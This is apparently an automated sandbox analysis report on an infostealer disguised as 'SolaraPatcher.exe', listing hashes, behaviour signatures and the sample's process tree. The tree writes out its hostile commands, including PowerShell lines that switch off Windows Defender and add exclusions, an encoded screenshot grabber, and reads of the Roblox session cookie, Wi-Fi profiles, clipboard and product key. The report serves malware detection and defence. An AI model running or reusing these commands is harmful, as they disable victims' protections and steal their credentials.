Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-05-2024 04:08

General

  • Target

    SolaraPatcher.exe

  • Size

    7.4MB

  • MD5

    902e0f28a81ee39249980688b971cfde

  • SHA1

    1075f10cdceee85ce1ed919e6e51507f3ba20c41

  • SHA256

    81ad8c3a50477ab2151c4cdc3472b380e97c30e6cb96b37da23402d3d5ec85a7

  • SHA512

    4ec54f872761630dff223c117b0b7630f796a810c06d28446187de29f93da63b3ef3991e95a699c6c050c565374e1e7a8de5f637f654f7385dfd32e8c2d22e68

  • SSDEEP

    98304:/IeYgI6OshoKyDvuIYc5AhV+gEc4kZvRLoI0EJfNA3z5UTbdv9JTSPhlVtQo1fw:/VYmOshoKMuIkhVastRL5Di3tK1SPJw

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 56 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 26 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe
    "C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4344
    • C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe
      "C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3760
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1968
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:828
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:208
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1804
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been patched! Please open Solara', 0, 'Solara Patcher', 48+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4540
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been patched! Please open Solara', 0, 'Solara Patcher', 48+16);close()"
          4⤵
            PID:4048
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3232
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:904
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4636
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2268
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3504
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
            4⤵
              PID:3356
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4864
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
              4⤵
                PID:3644
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1320
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious use of AdjustPrivilegeToken
                PID:1488
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1616
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                PID:4424
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎   .scr'"
              3⤵
                PID:2616
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎   .scr'
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2380
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:408
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  4⤵
                  • Enumerates processes with tasklist
                  PID:1340
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3104
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  4⤵
                  • Enumerates processes with tasklist
                  PID:2836
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                3⤵
                  PID:1224
                  • C:\Windows\System32\Wbem\WMIC.exe
                    WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                    4⤵
                      PID:5100
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                    3⤵
                      PID:2468
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell Get-Clipboard
                        4⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3636
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3620
                      • C:\Windows\system32\tasklist.exe
                        tasklist /FO LIST
                        4⤵
                        • Enumerates processes with tasklist
                        PID:3972
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                        PID:4252
                        • C:\Windows\system32\tree.com
                          tree /A /F
                          4⤵
                            PID:552
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                          3⤵
                            PID:3060
                            • C:\Windows\system32\netsh.exe
                              netsh wlan show profile
                              4⤵
                                PID:3236
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "systeminfo"
                              3⤵
                                PID:4632
                                • C:\Windows\system32\systeminfo.exe
                                  systeminfo
                                  4⤵
                                  • Gathers system information
                                  PID:3084
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                3⤵
                                  PID:1236
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                    4⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:3560
                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kwguq10t\kwguq10t.cmdline"
                                      5⤵
                                        PID:2472
                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6D9E.tmp" "c:\Users\Admin\AppData\Local\Temp\kwguq10t\CSCA5AA4C17987A4444BEC220CDB95C2674.TMP"
                                          6⤵
                                            PID:4724
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      3⤵
                                        PID:3552
                                        • C:\Windows\System32\Conhost.exe
                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          4⤵
                                            PID:1616
                                          • C:\Windows\system32\tree.com
                                            tree /A /F
                                            4⤵
                                              PID:964
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                            3⤵
                                              PID:5020
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                4⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:3204
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                              3⤵
                                                PID:3968
                                                • C:\Windows\system32\tree.com
                                                  tree /A /F
                                                  4⤵
                                                    PID:3464
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                  3⤵
                                                    PID:1300
                                                    • C:\Windows\system32\tree.com
                                                      tree /A /F
                                                      4⤵
                                                        PID:2928
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                      3⤵
                                                        PID:1216
                                                        • C:\Windows\system32\tree.com
                                                          tree /A /F
                                                          4⤵
                                                            PID:3320
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                          3⤵
                                                            PID:5060
                                                            • C:\Windows\system32\tree.com
                                                              tree /A /F
                                                              4⤵
                                                                PID:3180
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                              3⤵
                                                                PID:3620
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                  4⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:3032
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "getmac"
                                                                3⤵
                                                                  PID:5064
                                                                  • C:\Windows\system32\getmac.exe
                                                                    getmac
                                                                    4⤵
                                                                      PID:4636
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI43442\rar.exe a -r -hp"demontime" "C:\Users\Admin\AppData\Local\Temp\tZ9wt.zip" *"
                                                                    3⤵
                                                                      PID:4772
                                                                      • C:\Windows\System32\Conhost.exe
                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        4⤵
                                                                          PID:1300
                                                                        • C:\Users\Admin\AppData\Local\Temp\_MEI43442\rar.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\_MEI43442\rar.exe a -r -hp"demontime" "C:\Users\Admin\AppData\Local\Temp\tZ9wt.zip" *
                                                                          4⤵
                                                                          • Executes dropped EXE
                                                                          PID:324
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                        3⤵
                                                                          PID:3472
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic os get Caption
                                                                            4⤵
                                                                              PID:3980
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                            3⤵
                                                                              PID:3780
                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                wmic computersystem get totalphysicalmemory
                                                                                4⤵
                                                                                  PID:3148
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                3⤵
                                                                                  PID:4476
                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                    wmic csproduct get uuid
                                                                                    4⤵
                                                                                      PID:3804
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                    3⤵
                                                                                      PID:872
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                        4⤵
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        PID:1556
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                      3⤵
                                                                                        PID:2184
                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                          wmic path win32_VideoController get name
                                                                                          4⤵
                                                                                          • Detects videocard installed
                                                                                          PID:436
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                        3⤵
                                                                                          PID:1764
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
